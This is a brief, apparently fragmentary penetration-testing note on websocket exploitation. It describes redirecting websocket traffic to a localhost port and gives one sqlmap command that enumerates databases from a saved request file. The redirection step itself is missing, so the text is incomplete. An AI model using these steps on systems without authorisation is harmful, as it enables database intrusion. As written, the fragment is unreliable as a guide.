Websocket Exploitation

Redirect traffic to TCP localhost port

We can redirect the websocket traffic to a TCP localhost port so we can interact with it as if it were an HTTP port:

SQL Injection

It is possible to execute an SQLi with sqlmap if needed sending the data to your localhost: Description

Then we can save this file to use it as a request file:

1
sqlmap -r <outputfile> --dbs
